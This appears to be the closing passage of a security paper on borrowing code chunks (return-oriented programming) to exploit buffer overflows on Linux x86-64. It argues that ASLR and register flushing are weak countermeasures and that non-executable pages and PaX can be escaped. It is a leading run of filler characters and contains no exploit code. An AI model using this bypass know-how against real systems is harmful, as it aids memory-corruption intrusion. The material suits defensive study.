xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
9 Countermeasures

I believe that as long as buffer overflows happen there is a way to (mis-)control the application even if page protections or other mechanisms forbid for directly executing shellcode. The reason is that due to the complex nature of today's applications a lot of the shellcode is already within the application itself. SSH servers for example already carry code to execute a shell because its the programs aim to allow remote control. Nevertheless I will discuss two mechanisms which might make things harder to exploit.

- Address Space Layout Randomization - ASLR
  The code chunks borrow technique is an exact science. As you see from the exploit no offsets are guessed. The correct values have to be put into the correct registers. By mapping the libraries of the application to more or less random locations it is not possible anymore to determine where certain code chunks are placed in memory. Even though there are theoretically 64-bit addresses, applications are only required to handle 48-bit addresses. This shrinks the address space dramatically as well as the number of bits which could be randomized. Additionally, the address of a appropriate code chunk has only to be guessed once, the other chunks are relative to the first one. So guessing of addresses probably still remains possible.

- Register flushing
  At every function outro a xor %rdi, %rdi or similar instruction could be placed if the ELF64 ABI allows so. However, as shown, the pop instructions do not need to be on instruction boundary which means that even if you flush registers at the function outro, there are still plenty of usable pop instructions left. Remember that a pop %rdi; retq sequence takes just two bytes.

10 Conclusion

Even though I only tested the Linux x86-64 platform, I see no restrictions why this should not work on other platforms as well e.g. x86-64BSD, IA32 or SPARC. Even other CPUs with the same page protection mechanisms or the PaX patch should be escapable this way. Successful exploitation will in future much more depend on the application, its structure, the compiler it was compiled with and the libraries it was linked against. Imagine if we could not find a instruction sequence that fills %rdi it would be much harder if not impossible.

However it also shows that overflows are not dead, even on such hardened platforms.
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